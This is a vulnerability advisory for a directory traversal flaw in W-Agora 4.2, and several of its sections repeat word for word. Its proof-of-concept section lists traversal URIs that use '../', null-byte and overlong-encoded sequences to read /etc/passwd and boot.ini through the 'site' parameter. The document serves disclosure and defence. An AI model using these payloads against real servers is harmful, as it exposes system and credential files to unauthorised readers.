W-Agora Site Parameter Directory Traversal Vulnerability
BID:14597
Info
W-Agora Site Parameter Directory Traversal Vulnerability
| Bugtraq ID: | 14597 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 18 2005 12:00AM |
| Updated: | Aug 18 2005 12:00AM |
| Credit: | matrix_killer of h4cky0u Security Forums <www.h4cky0u.org> is credited with the discovery of this vulnerability. |
| Vulnerable: |
W-Agora W-Agora 4.2 |
| Not Vulnerable: | |
Discussion
W-Agora Site Parameter Directory Traversal Vulnerability
W-Agora is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.
W-Agora is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.
Exploit / POC
W-Agora Site Parameter Directory Traversal Vulnerability
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd
http://www.example.com/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd
http://www.example.com/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini
Solution / Fix
W-Agora Site Parameter Directory Traversal Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
W-Agora Site Parameter Directory Traversal Vulnerability
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